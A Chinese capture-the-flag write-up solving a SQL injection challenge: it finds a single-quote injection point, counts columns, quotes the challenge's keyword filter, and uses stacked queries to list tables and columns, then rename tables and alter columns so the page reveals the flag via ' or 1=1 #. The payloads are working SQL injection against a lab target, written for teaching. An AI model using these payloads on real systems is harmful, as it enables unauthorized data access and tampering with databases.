打开题目
输入1
输入1',页面报错,输入1' #页面正常
说明1为注入点且注入方式为字符型的单引号注入
判断列名
输入
1' order by 2 # 页面正常
1' order by 3 #页面报错
说明列名字段数为2
接下来我们尝试用联合注入的方式爆出数据显示位
输入1' union select 1,2 #
可以看到过滤了很多东西
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说明我们用不了联合注入,因为过滤了union
我们尝试堆叠注入来查看有多少个数据库
1';show databases; #
我们查看表名
1';show tables; #
可以看到当前数据库下有两个表
1'; show columns from `1919810931114514`;#
这里查询表名使用反单引号
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符在这里使用 ` 而不是 ’ 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。
单引号 ’ 或双引号主要用于 字符串的引用符号
反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号。
可以看到有flag这个列
虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。
这里看wp有一个其他思路
1.
让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。
先将 words 改为别的名字 比如 words2 或者其他
然后将 1919810931114514 改为 words
把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:
1';
rename table words to word2; //注:这里是将原words表名改为word2
rename table `1919810931114514` to words;//注:这里是将19..表改叫words
ALTER TABLE words ADD id int(10) DEFAULT '12';//注:这里是将words表加一个id的列
ALTER TABLE words CHANGE flag data VARCHAR(100); # //注:这里是将words表中的flag列名改叫data
"ALTER TABLE"用于更改表的结构,例如添加、删除或修改表的列,更改列的数据类型,添加或删除索引等。这里用来添加表的列
VARCHAR(100)"是数据库表中列的数据类型和长度的定义。具体来说,"VARCHAR"表示这是一个可变长度字符串数据类型,而括号中的"100"表示该列可以存储的最大字符数为100
执行这条语句后,words
表中原先的flag
列将被改名为data
,且数据类型变为最大长度为100的字符串类型(VARCHAR(100)
)
data在这里是数据
"int(10)":这表示这是一个整数数据类型。括号中的数字(10)通常用于指定显示的宽度,但在大多数数据库管理系统中,它只是用于显示目的,而不会影响实际存储或范围。这个整数列将存储整数值。
"DEFAULT '12'":这表示当插入一行时,如果没有为这个列提供值,将使用默认值'12'。这意味着如果没有明确指定值,新插入的行将自动在这个列中包含整数值12。
综合起来,"int(10) DEFAULT '12'"定义了一个整数列,它将存储整数值,并且如果没有提供值,则默认值为12。这意味着在插入新行时,如果没有显式提供这个列的值,它将自动设置为12。
然后我们用万能密码登录一下
1' or 1=1 #
得到flag
或者用flag的列名改为叫id,然后我们用一个查看列名的语句
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#
用
1' or 1=1 #登录一下即可得到flag
重命名表
ALTER TABLE table_name RENAME TO new_table_name;
修改列的名称
ALTER TABLE table_name RENAME COLUMN supplier_name to sname;